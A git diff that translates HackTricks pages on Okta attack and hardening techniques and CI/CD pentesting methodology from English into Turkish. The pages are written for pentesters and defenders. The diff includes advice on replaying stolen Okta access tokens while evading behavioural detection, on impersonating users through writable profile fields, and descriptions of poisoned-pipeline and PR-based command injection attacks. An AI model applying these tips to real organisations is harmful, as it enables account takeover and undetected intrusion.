-Therefore, if the app is trusting the field **`userName`**, you probably won't be able to change it (because you usually cannot change that field), but if it's trusting for example **`primaryEmail`** you might be able to **change it to a colleagues email address** and impersonate it (you will need to have access to the email and accept the change).
+Bu nedenle, eğer uygulama **`userName`** alanına güveniyorsa, muhtemelen bunu değiştiremeyeceksiniz (çünkü genellikle bu alanı değiştiremezsiniz), ancak eğer örneğin **`primaryEmail`** alanına güveniyorsa, bunu **bir meslektaşın e-posta adresine** değiştirme yeteneğine sahip olabilirsiniz ve onu taklit edebilirsiniz (değişikliği kabul etmek için e-postaya erişiminiz olması gerekecek).
-Note that this impersoantion depends on how each application was condigured. Only the ones trusting the field you modified and accepting updates will be compromised.\
-Therefore, the app should have this field enabled if it exists:
+Bu taklit etme, her uygulamanın nasıl yapılandırıldığına bağlıdır. Sadece değiştirdiğiniz alana güvenen ve güncellemeleri kabul edenler tehlikeye girecektir.\
+Bu nedenle, uygulamanın bu alanı etkinleştirmiş olması gerekir:
-I have also seen other apps that were vulnerable but didn't have that field in the Okta settings (at the end different apps are configured differently).
+Ayrıca, o alana sahip olmayan ancak savunmasız olan diğer uygulamaları da gördüm (en sonunda farklı uygulamalar farklı şekilde yapılandırılmıştır).
-The best way to find out if you could impersonate anyone on each app would be to try it!
+Her uygulamada birini taklit edip edemeyeceğinizi öğrenmenin en iyi yolu, bunu denemektir!
-## Evading behavioural detection policies
+## Davranışsal tespit politikalarını atlatma
-Behavioral detection policies in Okta might be unknown until encountered, but **bypassing** them can be achieved by **targeting Okta applications directly**, avoiding the main Okta dashboard. With an **Okta access token**, replay the token at the **application-specific Okta URL** instead of the main login page.
+Okta'daki davranışsal tespit politikaları, karşılaşılana kadar bilinmeyebilir, ancak bunları **doğrudan Okta uygulamalarını hedef alarak** **atlatmak** mümkündür; bu, ana Okta kontrol panelinden kaçınmayı içerir. Bir **Okta erişim token'ı** ile, token'ı ana giriş sayfası yerine **uygulama özel Okta URL'sinde** yeniden oynatın.
-Key recommendations include:
+Anahtar öneriler şunlardır:
-- **Avoid using** popular anonymizer proxies and VPN services when replaying captured access tokens.
-- Ensure **consistent user-agent strings** between the client and replayed access tokens.
-- **Refrain from replaying** tokens from different users from the same IP address.
-- Exercise caution when replaying tokens against the Okta dashboard.
-- If aware of the victim company's IP addresses, **restrict traffic** to those IPs or their range, blocking all other traffic.
+- **Popüler anonimleştirici proxy'leri ve VPN hizmetlerini kullanmaktan kaçının**; yakalanan erişim token'larını yeniden oynatırken.
+- **İstemci ile yeniden oynatılan erişim token'ları arasında tutarlı kullanıcı ajanı dizgeleri** olduğundan emin olun.
+- **Aynı IP adresinden farklı kullanıcılardan token'ları yeniden oynatmaktan kaçının.**
+- Okta kontrol paneline karşı token'ları yeniden oynatırken dikkatli olun.
+- Kurban şirketinin IP adreslerinden haberdarsanız, **trafikleri** bu IP'lere veya aralıklarına kısıtlayın, diğer tüm trafiği engelleyin.
-## Okta Hardening
+## Okta Güçlendirme
-Okta has a lot of possible configurations, in this page you will find how to review them so they are as secure as possible:
+Okta'nın birçok olası yapılandırması vardır, bu sayfada bunları mümkün olduğunca güvenli hale getirmek için nasıl gözden geçireceğinizi bulacaksınız:
{{#ref}}
okta-hardening.md
{{#endref}}
-## References
+## Referanslar
- [https://trustedsec.com/blog/okta-for-red-teamers](https://trustedsec.com/blog/okta-for-red-teamers)
- [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md
index a7dac96a7..743d00fc2 100644
--- a/src/pentesting-ci-cd/okta-security/okta-hardening.md
+++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md
@@ -6,72 +6,72 @@
### People
-From an attackers perspective, this is super interesting as you will be able to see **all the users registered**, their **email** addresses, the **groups** they are part of, **profiles** and even **devices** (mobiles along with their OSs).
+Saldırganlar açısından bu, **tüm kayıtlı kullanıcıları**, **e-posta** adreslerini, **ait oldukları grupları**, **profilleri** ve hatta **cihazları** (mobil cihazlar ve işletim sistemleri) görebileceğiniz için oldukça ilginçtir.
-For a whitebox review check that there aren't several "**Pending user action**" and "**Password reset**".
+Beyaz kutu incelemesi için, "**Bekleyen kullanıcı eylemi**" ve "**Şifre sıfırlama**" gibi birden fazla durumun olmadığından emin olun.
### Groups
-This is where you find all the created groups in Okta. it's interesting to understand the different groups (set of **permissions**) that could be granted to **users**.\
-It's possible to see the **people included inside groups** and **apps assigned** to each group.
+Burada Okta'da oluşturulan tüm grupları bulabilirsiniz. Kullanıcılara verilebilecek farklı grupların (**izin setleri**) anlaşılması ilginçtir.\
+Grupların içindeki **kişileri** ve her gruba atanan **uygulamaları** görebilirsiniz.
-Ofc, any group with the name of **admin** is interesting, specially the group **Global Administrators,** check the members to learn who are the most privileged members.
+Elbette, **admin** ismine sahip herhangi bir grup ilginçtir, özellikle **Küresel Yöneticiler** grubu, en ayrıcalıklı üyelerin kimler olduğunu öğrenmek için üyeleri kontrol edin.
-From a whitebox review, there **shouldn't be more than 5 global admins** (better if there are only 2 or 3).
+Beyaz kutu incelemesinden, **5'ten fazla küresel yönetici olmamalıdır** (2 veya 3 olması daha iyidir).
### Devices
-Find here a **list of all the devices** of all the users. You can also see if it's being **actively managed** or not.
+Burada tüm kullanıcıların **tüm cihazlarının listesini** bulabilirsiniz. Ayrıca, bunun **aktif olarak yönetilip yönetilmediğini** de görebilirsiniz.
### Profile Editor
-Here is possible to observe how key information such as first names, last names, emails, usernames... are shared between Okta and other applications. This is interesting because if a user can **modify in Okta a field** (such as his name or email) that then is used by an **external application** to **identify** the user, an insider could try to **take over other accounts**.
+Burada, adlar, soyadlar, e-postalar, kullanıcı adları gibi anahtar bilgilerin Okta ve diğer uygulamalar arasında nasıl paylaşıldığını gözlemlemek mümkündür. Bu ilginçtir çünkü bir kullanıcı **Okta'da bir alanı** (örneğin adı veya e-postası) değiştirebiliyorsa ve bu alan bir **harici uygulama** tarafından kullanılıyorsa, bir içeriden biri **diğer hesapları ele geçirmeye** çalışabilir.
-Moreover, in the profile **`User (default)`** from Okta you can see **which fields** each **user** has and which ones are **writable** by users. If you cannot see the admin panel, just go to **update your profile** information and you will see which fields you can update (note that to update an email address you will need to verify it).
+Ayrıca, Okta'daki profil **`Kullanıcı (varsayılan)`** bölümünde her **kullanıcının hangi alanlara sahip olduğunu** ve hangilerinin kullanıcılar tarafından **yazılabilir** olduğunu görebilirsiniz. Yönetici panelini göremiyorsanız, **profil bilgilerinizi güncelleyin** ve hangi alanları güncelleyebileceğinizi görün (bir e-posta adresini güncellemek için onu doğrulamanız gerektiğini unutmayın).
### Directory Integrations
-Directories allow you to import people from existing sources. I guess here you will see the users imported from other directories.
+Dizinler, mevcut kaynaklardan insanları içe aktarmanıza olanak tanır. Burada, diğer dizinlerden içe aktarılan kullanıcıları göreceğinizi düşünüyorum.
-I haven't seen it, but I guess this is interesting to find out **other directories that Okta is using to import users** so if you **compromise that directory** you could set some attributes values in the users created in Okta and **maybe compromise the Okta env**.
+Bunu görmedim, ama bu, **Okta'nın kullanıcıları içe aktarmak için kullandığı diğer dizinleri** bulmak için ilginçtir, böylece eğer **o dizini tehlikeye atarsanız**, Okta'da oluşturulan kullanıcıların bazı nitelik değerlerini ayarlayabilir ve **belki de Okta ortamını tehlikeye atabilirsiniz**.
### Profile Sources
-A profile source is an **application that acts as a source of truth** for user profile attributes. A user can only be sourced by a single application or directory at a time.
+Bir profil kaynağı, kullanıcı profil nitelikleri için **gerçek kaynak olarak işlev gören bir uygulamadır**. Bir kullanıcı yalnızca bir uygulama veya dizin tarafından bir kerede kaynaklanabilir.
-I haven't seen it, so any information about security and hacking regarding this option is appreciated.
+Bunu görmedim, bu seçenekle ilgili güvenlik ve hacking hakkında herhangi bir bilgi takdir edilir.
## Customizations
### Brands
-Check in the **Domains** tab of this section the email addresses used to send emails and the custom domain inside Okta of the company (which you probably already know).
+Bu bölümün **Alanlar** sekmesinde, e-posta göndermek için kullanılan e-posta adreslerini ve şirketin Okta içindeki özel alanını kontrol edin (bunu muhtemelen zaten biliyorsunuzdur).
-Moreover, in the **Setting** tab, if you are admin, you can "**Use a custom sign-out page**" and set a custom URL.
+Ayrıca, **Ayarlar** sekmesinde, eğer yöneticiyseniz, "**Özel bir çıkış sayfası kullanın**" seçeneğini işaretleyebilir ve özel bir URL ayarlayabilirsiniz.
### SMS
-Nothing interesting here.
+Burada ilginç bir şey yok.
### End-User Dashboard
-You can find here applications configured, but we will see the details of those later in a different section.
+Burada yapılandırılmış uygulamaları bulabilirsiniz, ancak bunların ayrıntılarını daha sonra farklı bir bölümde göreceğiz.
### Other
-Interesting setting, but nothing super interesting from a security point of view.
+İlginç bir ayar, ancak güvenlik açısından süper ilginç bir şey yok.
## Applications
### Applications
-Here you can find all the **configured applications** and their details: Who has access to them, how is it configured (SAML, OPenID), URL to login, the mappings between Okta and the application...
+Burada tüm **yapılandırılmış uygulamaları** ve ayrıntılarını bulabilirsiniz: Kimlerin bunlara erişimi var, nasıl yapılandırıldığı (SAML, OpenID), giriş URL'si, Okta ile uygulama arasındaki eşlemeler...
-In the **`Sign On`** tab there is also a field called **`Password reveal`** that would allow a user to **reveal his password** when checking the application settings. To check the settings of an application from the User Panel, click the 3 dots:
+**`Oturum Açma`** sekmesinde, uygulama ayarlarını kontrol ederken bir kullanıcının **şifresini açığa çıkarmasına** izin veren **`Şifreyi göster`** adında bir alan da bulunmaktadır. Kullanıcı Panelinden bir uygulamanın ayarlarını kontrol etmek için 3 noktaya tıklayın:
-And you could see some more details about the app (like the password reveal feature, if it's enabled):
+Ve uygulama hakkında daha fazla ayrıntı görebilirsiniz (şifreyi gösterme özelliği gibi, eğer etkinse):
@@ -79,125 +79,121 @@ And you could see some more details about the app (like the password reveal feat
### Access Certifications
-Use Access Certifications to create audit campaigns to review your users' access to resources periodically and approve or revoke access automatically when required.
+Erişim Sertifikalarını kullanarak, kullanıcılarınızın kaynaklara erişimini periyodik olarak gözden geçirmek ve gerektiğinde erişimi otomatik olarak onaylamak veya iptal etmek için denetim kampanyaları oluşturun.
-I haven't seen it used, but I guess that from a defensive point of view it's a nice feature.
+Bunu kullanmadım, ama savunma açısından güzel bir özellik olduğunu düşünüyorum.
## Security
### General
-- **Security notification emails**: All should be enabled.
-- **CAPTCHA integration**: It's recommended to set at least the invisible reCaptcha
-- **Organization Security**: Everything can be enabled and activation emails shouldn't last long (7 days is ok)
-- **User enumeration prevention**: Both should be enabled
- - Note that User Enumeration Prevention doesn't take effect if either of the following conditions are allowed (See [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) for more information):
- - Self-Service Registration
- - JIT flows with email authentication
-- **Okta ThreatInsight settings**: Log and enforce security based on threat level
+- **Güvenlik bildirim e-postaları**: Hepsi etkinleştirilmelidir.
+- **CAPTCHA entegrasyonu**: En azından görünmez reCaptcha ayarlamak önerilir.
+- **Organizasyon Güvenliği**: Her şey etkinleştirilebilir ve aktivasyon e-postalarının uzun sürmemesi gerekir (7 gün uygundur).
+- **Kullanıcı numaralandırma önleme**: Her ikisi de etkinleştirilmelidir.
+- Kullanıcı Numaralandırma Önleme, aşağıdaki koşullardan biri izin verilirse etkili olmaz (daha fazla bilgi için [Kullanıcı yönetimi](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) bakın):
+- Kendinize hizmet kaydı
+- E-posta kimlik doğrulaması ile JIT akışları
+- **Okta ThreatInsight ayarları**: Tehdit seviyesine göre güvenliği kaydedin ve uygulayın.
### HealthInsight
-Here is possible to find correctly and **dangerous** configured **settings**.
+Burada doğru ve **tehlikeli** yapılandırılmış **ayarları** bulmak mümkündür.
### Authenticators
-Here you can find all the authentication methods that a user could use: Password, phone, email, code, WebAuthn... Clicking in the Password authenticator you can see the **password policy**. Check that it's strong.
+Burada bir kullanıcının kullanabileceği tüm kimlik doğrulama yöntemlerini bulabilirsiniz: Şifre, telefon, e-posta, kod, WebAuthn... Şifre kimlik doğrulayıcısına tıkladığınızda **şifre politikası** görebilirsiniz. Güçlü olduğundan emin olun.
-In the **Enrollment** tab you can see how the ones that are required or optinal:
+**Kayıt** sekmesinde, zorunlu veya isteğe bağlı olanları görebilirsiniz:
-It's recommendatble to disable Phone. The strongest ones are probably a combination of password, email and WebAuthn.
+Telefonu devre dışı bırakmak önerilir. En güçlü olanlar muhtemelen şifre, e-posta ve WebAuthn kombinasyonudur.
### Authentication policies
-Every app has an authentication policy. The authentication policy verifies that users who try to sign in to the app meet specific conditions, and it enforces factor requirements based on those conditions.
+Her uygulamanın bir kimlik doğrulama politikası vardır. Kimlik doğrulama politikası, uygulamaya giriş yapmaya çalışan kullanıcıların belirli koşulları karşıladığını doğrular ve bu koşullara dayalı olarak faktör gereksinimlerini uygular.
-Here you can find the **requirements to access each application**. It's recommended to request at least password and another method for each application. But if as attacker you find something more weak you might be able to attack it.
+Burada her uygulamaya erişim için **gereksinimleri** bulabilirsiniz. Her uygulama için en az bir şifre ve başka bir yöntem talep edilmesi önerilir. Ancak bir saldırgan olarak daha zayıf bir şey bulursanız, onu hedef alabilirsiniz.
### Global Session Policy
-Here you can find the session policies assigned to different groups. For example:
+Burada farklı gruplara atanan oturum politikalarını bulabilirsiniz. Örneğin:
-It's recommended to request MFA, limit the session lifetime to some hours, don't persis session cookies across browser extensions and limit the location and Identity Provider (if this is possible). For example, if every user should be login from a country you could only allow this location.
+MFA talep edilmesi, oturum süresinin birkaç saatle sınırlanması, oturum çerezlerinin tarayıcı uzantıları arasında kalıcı olmaması ve konum ile Kimlik Sağlayıcısını (bu mümkünse) sınırlamak önerilir. Örneğin, her kullanıcının bir ülkeden giriş yapması gerekiyorsa, yalnızca bu konuma izin verebilirsiniz.
### Identity Providers
-Identity Providers (IdPs) are services that **manage user accounts**. Adding IdPs in Okta enables your end users to **self-register** with your custom applications by first authenticating with a social account or a smart card.
+Kimlik Sağlayıcıları (IdP'ler), **kullanıcı hesaplarını yöneten** hizmetlerdir. Okta'da IdP'ler eklemek, son kullanıcılarınızın sosyal bir hesap veya akıllı kart ile kimlik doğrulaması yaparak özel uygulamalarınıza **kendi kendine kaydolmalarını** sağlar.
-On the Identity Providers page, you can add social logins (IdPs) and configure Okta as a service provider (SP) by adding inbound SAML. After you've added IdPs, you can set up routing rules to direct users to an IdP based on context, such as the user's location, device, or email domain.
+Kimlik Sağlayıcıları sayfasında, sosyal girişleri (IdP'ler) ekleyebilir ve Okta'yı bir hizmet sağlayıcı (SP) olarak yapılandırmak için içe aktarılan SAML ekleyebilirsiniz. IdP'leri ekledikten sonra, kullanıcıları bir IdP'ye yönlendirmek için bağlama dayalı yönlendirme kuralları ayarlayabilirsiniz; örneğin, kullanıcının konumu, cihazı veya e-posta alanı gibi.
-**If any identity provider is configured** from an attackers and defender point of view check that configuration and **if the source is really trustable** as an attacker compromising it could also get access to the Okta environment.
+**Herhangi bir kimlik sağlayıcı yapılandırılmışsa**, saldırganlar ve savunucular açısından bu yapılandırmayı kontrol edin ve **kaynağın gerçekten güvenilir olup olmadığını** kontrol edin, çünkü bir saldırgan bunu tehlikeye atarak Okta ortamına da erişim sağlayabilir.
### Delegated Authentication
-Delegated authentication allows users to sign in to Okta by entering credentials for their organization's **Active Directory (AD) or LDAP** server.
+Delege edilmiş kimlik doğrulama, kullanıcıların kuruluşlarının **Active Directory (AD) veya LDAP** sunucusu için kimlik bilgilerini girerek Okta'ya giriş yapmalarına olanak tanır.
-Again, recheck this, as an attacker compromising an organizations AD could be able to pivot to Okta thanks to this setting.
+Yine, bunu yeniden kontrol edin, çünkü bir saldırganın bir kuruluşun AD'sini tehlikeye atması, bu ayar sayesinde Okta'ya geçiş yapabilmesine neden olabilir.
### Network
-A network zone is a configurable boundary that you can use to **grant or restrict access to computers and devices** in your organization based on the **IP address** that is requesting access. You can define a network zone by specifying one or more individual IP addresses, ranges of IP addresses, or geographic locations.
+Bir ağ bölgesi, erişimi **vermek veya kısıtlamak için** kullanabileceğiniz yapılandırılabilir bir sınırdır. Bu, erişim talep eden **IP adresine** dayalı olarak bilgisayarlara ve cihazlara erişim sağlar. Bir ağ bölgesini, bir veya daha fazla bireysel IP adresi, IP adresi aralığı veya coğrafi konum belirterek tanımlayabilirsiniz.
-After you define one or more network zones, you can **use them in Global Session Policies**, **authentication policies**, VPN notifications, and **routing rules**.
+Bir veya daha fazla ağ bölgesi tanımladıktan sonra, bunları **Küresel Oturum Politikalarında**, **kimlik doğrulama politikalarında**, VPN bildirimlerinde ve **yönlendirme kurallarında** kullanabilirsiniz.
-From an attackers perspective it's interesting to know which Ps are allowed (and check if any **IPs are more privileged** than others). From an attackers perspective, if the users should be accessing from an specific IP address or region check that this feature is used properly.
+Saldırganlar açısından hangi IP'lerin izinli olduğunu bilmek ilginçtir (ve herhangi bir **IP'nin diğerlerinden daha ayrıcalıklı olup olmadığını kontrol edin**). Saldırganlar açısından, kullanıcıların belirli bir IP adresinden veya bölgeden erişim sağlaması gerekiyorsa, bu özelliğin düzgün kullanılıp kullanılmadığını kontrol edin.
### Device Integrations
-- **Endpoint Management**: Endpoint management is a condition that can be applied in an authentication policy to ensure that managed devices have access to an application.
- - I haven't seen this used yet. TODO
-- **Notification services**: I haven't seen this used yet. TODO
+- **Uç Nokta Yönetimi**: Uç nokta yönetimi, yönetilen cihazların bir uygulamaya erişimini sağlamak için bir kimlik doğrulama politikasında uygulanabilecek bir koşuldur.
+- Bunu henüz görmedim. TODO
+- **Bildirim hizmetleri**: Bunu henüz görmedim. TODO
### API
-You can create Okta API tokens in this page, and see the ones that have been **created**, theirs **privileges**, **expiration** time and **Origin URLs**. Note that an API tokens are generated with the permissions of the user that created the token and are valid only if the **user** who created them is **active**.
+Bu sayfada Okta API jetonları oluşturabilir ve **oluşturulan** jetonları, **yetkilerini**, **sona erme** sürelerini ve **Kaynak URL'lerini** görebilirsiniz. API jetonları, jetonu oluşturan kullanıcının izinleriyle oluşturulur ve yalnızca **oluşturan kullanıcı** **aktif** olduğunda geçerlidir.
-The **Trusted Origins** grant access to websites that you control and trust to access your Okta org through the Okta API.
+**Güvenilir Kaynaklar**, Okta API'si aracılığıyla Okta organizasyonunuza erişim sağlamak için kontrol ettiğiniz ve güvendiğiniz web sitelerine erişim izni verir.
-There shuoldn't be a lot of API tokens, as if there are an attacker could try to access them and use them.
+Çok fazla API jetonu olmamalıdır, çünkü varsa bir saldırgan bunlara erişmeye çalışabilir ve kullanabilir.
## Workflow
### Automations
-Automations allow you to create automated actions that run based on a set of trigger conditions that occur during the lifecycle of end users.
+Otomasyonlar, son kullanıcıların yaşam döngüsü sırasında meydana gelen bir dizi tetikleyici koşuluna dayalı olarak çalışan otomatik eylemler oluşturmanıza olanak tanır.
-For example a condition could be "User inactivity in Okta" or "User password expiration in Okta" and the action could be "Send email to the user" or "Change user lifecycle state in Okta".
+Örneğin, bir koşul "Okta'da kullanıcı etkinliği yok" veya "Okta'da kullanıcı şifresi süresi doldu" olabilir ve eylem "Kullanıcıya e-posta gönder" veya "Kullanıcı yaşam döngüsü durumunu Okta'da değiştir" olabilir.
## Reports
### Reports
-Download logs. They are **sent** to the **email address** of the current account.
+Günlükleri indirin. Bunlar, mevcut hesabın **e-posta adresine** **gönderilir**.
### System Log
-Here you can find the **logs of the actions performed by users** with a lot of details like login in Okta or in applications through Okta.
+Burada, kullanıcıların Okta'da veya Okta aracılığıyla uygulamalarda gerçekleştirdiği **hareketlerin günlüklerini** bulabilirsiniz.
### Import Monitoring
-This can **import logs from the other platforms** accessed with Okta.
+Bu, **Okta ile erişilen diğer platformlardan günlükleri içe aktarabilir**.
### Rate limits
-Check the API rate limits reached.
+Ulaşılan API hız limitlerini kontrol edin.
## Settings
### Account
-Here you can find **generic information** about the Okta environment, such as the company name, address, **email billing contact**, **email technical contact** and also who should receive Okta updates and which kind of Okta updates.
+Burada, şirket adı, adres, **e-posta fatura iletişim bilgisi**, **e-posta teknik iletişim bilgisi** gibi Okta ortamı hakkında **genel bilgileri** bulabilirsiniz ve ayrıca kimlerin Okta güncellemelerini alması gerektiğini ve hangi tür Okta güncellemeleri alacağını görebilirsiniz.
### Downloads
-Here you can download Okta agents to sync Okta with other technologies.
+Burada, Okta'yı diğer teknolojilerle senkronize etmek için Okta ajanlarını indirebilirsiniz.
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
index 41899af04..22b13134f 100644
--- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
+++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
@@ -1,4 +1,4 @@
-# Pentesting CI/CD Methodology
+# Pentesting CI/CD Methodolojisi
{{#include ../banners/hacktricks-training.md}}
@@ -6,103 +6,99 @@
## VCS
-VCS stands for **Version Control System**, this systems allows developers to **manage their source code**. The most common one is **git** and you will usually find companies using it in one of the following **platforms**:
+VCS, **Versiyon Kontrol Sistemi** anlamına gelir, bu sistemler geliştiricilerin **kaynak kodlarını yönetmelerine** olanak tanır. En yaygın olanı **git**'tir ve genellikle şirketlerin aşağıdaki **platformlardan** birinde kullandığını göreceksiniz:
- Github
- Gitlab
- Bitbucket
- Gitea
-- Cloud providers (they offer their own VCS platforms)
+- Bulut sağlayıcıları (kendi VCS platformlarını sunarlar)
-## CI/CD Pipelines
+## CI/CD Boru Hatları
-CI/CD pipelines enable developers to **automate the execution of code** for various purposes, including building, testing, and deploying applications. These automated workflows are **triggered by specific actions**, such as code pushes, pull requests, or scheduled tasks. They are useful for streamlining the process from development to production.
+CI/CD boru hatları, geliştiricilerin **kodun yürütülmesini otomatikleştirmelerine** olanak tanır; bu, uygulamaların inşası, test edilmesi ve dağıtılması gibi çeşitli amaçlar için geçerlidir. Bu otomatik iş akışları, **belirli eylemler** tarafından **tetiklenir**, örneğin kod itmeleri, çekme istekleri veya planlanmış görevler. Geliştirme sürecini üretime taşımak için faydalıdırlar.
-However, these systems need to be **executed somewhere** and usually with **privileged credentials to deploy code or access sensitive information**.
+Ancak, bu sistemlerin **bir yerde yürütülmesi** gerekir ve genellikle **kod dağıtmak veya hassas bilgilere erişmek için ayrıcalıklı kimlik bilgileri** ile çalışır.
-## VCS Pentesting Methodology
+## VCS Pentesting Metodolojisi
> [!NOTE]
-> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
+> Bazı VCS platformları bu bölüm için boru hatları oluşturulmasına izin verse de, yalnızca kaynak kodunun kontrolüne yönelik potansiyel saldırıları analiz edeceğiz.
-Platforms that contains the source code of your project contains sensitive information and people need to be very careful with the permissions granted inside this platform. These are some common problems across VCS platforms that attacker could abuse:
+Projenizin kaynak kodunu içeren platformlar hassas bilgiler içerir ve insanlar bu platformda verilen izinlerle çok dikkatli olmalıdır. Saldırganların kötüye kullanabileceği bazı yaygın sorunlar şunlardır:
-- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks.
-- **Access**: If an attacker can **access to an account inside the VCS platform** he could gain **more visibility and permissions**.
- - **Register**: Some platforms will just allow external users to create an account.
- - **SSO**: Some platforms won't allow users to register, but will allow anyone to access with a valid SSO (so an attacker could use his github account to enter for example).
- - **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... there are several kind of tokens a user could steal to access in some way a repo.
-- **Webhooks**: VCS platforms allow to generate webhooks. If they are **not protected** with non visible secrets an **attacker could abuse them**.
- - If no secret is in place, the attacker could abuse the webhook of the third party platform
- - If the secret is in the URL, the same happens and the attacker also have the secret
-- **Code compromise:** If a malicious actor has some kind of **write** access over the repos, he could try to **inject malicious code**. In order to be successful he might need to **bypass branch protections**. These actions can be performed with different goals in mid:
- - Compromise the main branch to **compromise production**.
- - Compromise the main (or other branches) to **compromise developers machines** (as they usually execute test, terraform or other things inside the repo in their machines).
- - **Compromise the pipeline** (check next section)
+- **Sızıntılar**: Kodunuzda taahhütlerde sızıntılar varsa ve saldırgan repo'ya erişebiliyorsa (çünkü kamuya açıktır veya erişimi vardır), sızıntıları keşfedebilir.
+- **Erişim**: Eğer bir saldırgan **VCS platformunda bir hesaba erişebiliyorsa**, **daha fazla görünürlük ve izin** kazanabilir.
+- **Kayıt**: Bazı platformlar yalnızca dış kullanıcıların hesap oluşturmasına izin verir.
+- **SSO**: Bazı platformlar kullanıcıların kayıt olmasına izin vermez, ancak geçerli bir SSO ile erişim sağlar (bu nedenle bir saldırgan örneğin github hesabını kullanarak girebilir).
+- **Kimlik Bilgileri**: Kullanıcı adı+Şifre, kişisel tokenlar, ssh anahtarları, Oauth tokenları, çerezler... bir kullanıcının bir repo'ya erişmek için çalabileceği çeşitli token türleri vardır.
+- **Webhooks**: VCS platformları webhook'lar oluşturulmasına izin verir. Eğer bunlar **görünmeyen sırlarla korunmuyorsa**, bir **saldırgan bunları kötüye kullanabilir**.
+- Eğer hiçbir gizli bilgi yoksa, saldırgan üçüncü taraf platformun webhook'unu kötüye kullanabilir.
+- Eğer gizli bilgi URL'de ise, aynı şey olur ve saldırgan da gizli bilgiye sahip olur.
+- **Kodun tehlikeye atılması:** Eğer kötü niyetli bir aktörün repo'lar üzerinde bir tür **yazma** erişimi varsa, **kötü niyetli kod enjekte etmeye** çalışabilir. Başarılı olmak için **dal korumalarını aşması** gerekebilir. Bu eylemler farklı hedeflerle gerçekleştirilebilir:
+- Ana dalı tehlikeye atmak, **üretimi tehlikeye atmak**.
+- Ana (veya diğer dalları) tehlikeye atmak, **geliştirici makinelerini tehlikeye atmak** (çünkü genellikle test, terraform veya diğer şeyleri kendi makinelerinde repo içinde çalıştırırlar).
+- **Boru hattını tehlikeye atmak** (bir sonraki bölüme bakın).
-## Pipelines Pentesting Methodology
+## Boru Hatları Pentesting Metodolojisi
-The most common way to define a pipeline, is by using a **CI configuration file hosted in the repository** the pipeline builds. This file describes the order of executed jobs, conditions that affect the flow, and build environment settings.\
-These files typically have a consistent name and format, for example — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), and the GitHub Actions YAML files located under .github/workflows. When triggered, the pipeline job **pulls the code** from the selected source (e.g. commit / branch), and **runs the commands specified in the CI configuration file** against that code.
+Bir boru hattını tanımlamanın en yaygın yolu, boru hattının inşa edildiği **repo'da barındırılan bir CI yapılandırma dosyası** kullanmaktır. Bu dosya, yürütülen işlerin sırasını, akışı etkileyen koşulları ve yapı ortamı ayarlarını tanımlar.\
+Bu dosyalar genellikle tutarlı bir isim ve formata sahiptir, örneğin — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) ve .github/workflows altında bulunan GitHub Actions YAML dosyaları. Tetiklendiğinde, boru hattı işi **seçilen kaynaktan kodu çeker** (örneğin taahhüt / dal) ve **CI yapılandırma dosyasında belirtilen komutları** o kod üzerinde çalıştırır.
-Therefore the ultimate goal of the attacker is to somehow **compromise those configuration files** or the **commands they execute**.
+Bu nedenle, saldırganın nihai hedefi, bir şekilde **bu yapılandırma dosyalarını** veya **yürüttükleri komutları tehlikeye atmaktır**.
-### PPE - Poisoned Pipeline Execution
+### PPE - Zehirli Boru Hattı Yürütmesi
-The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands.
+Zehirli Boru Hattı Yürütmesi (PPE) yolu, bir SCM deposundaki izinleri kullanarak bir CI boru hattını manipüle eder ve zararlı komutlar yürütür. Gerekli izinlere sahip kullanıcılar, CI yapılandırma dosyalarını veya boru hattı işinin kullandığı diğer dosyaları kötü niyetli komutlar eklemek için değiştirebilir. Bu, CI boru hattını "zehirler" ve bu kötü niyetli komutların yürütülmesine yol açar.
-For a malicious actor to be successful performing a PPE attack he needs to be able to:
+Kötü niyetli bir aktörün PPE saldırısı gerçekleştirmesi için şunları yapabilmesi gerekir:
-- Have **write access to the VCS platform**, as usually pipelines are triggered when a push or a pull request is performed. (Check the VCS pentesting methodology for a summary of ways to get access).
- - Note that sometimes an **external PR count as "write access"**.
-- Even if he has write permissions, he needs to be sure he can **modify the CI config file or other files the config is relying on**.
- - For this, he might need to be able to **bypass branch protections**.
+- **VCS platformuna yazma erişimine sahip olmak**, çünkü genellikle boru hatları bir itme veya çekme isteği gerçekleştirildiğinde tetiklenir. (Erişim elde etme yolları için VCS pentesting metodolojisine bakın).
+- Bazen bir **dış PR'nin "yazma erişimi" olarak sayıldığını** unutmayın.
+- Yazma izinlerine sahip olsa bile, **CI yapılandırma dosyasını veya yapılandırmanın dayandığı diğer dosyaları değiştirebileceğinden emin olmalıdır**.
+- Bunun için **dal korumalarını aşabilmesi** gerekebilir.
-There are 3 PPE flavours:
+Üç PPE çeşidi vardır:
-- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed.
-- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config).
-- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR.
- - **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**.
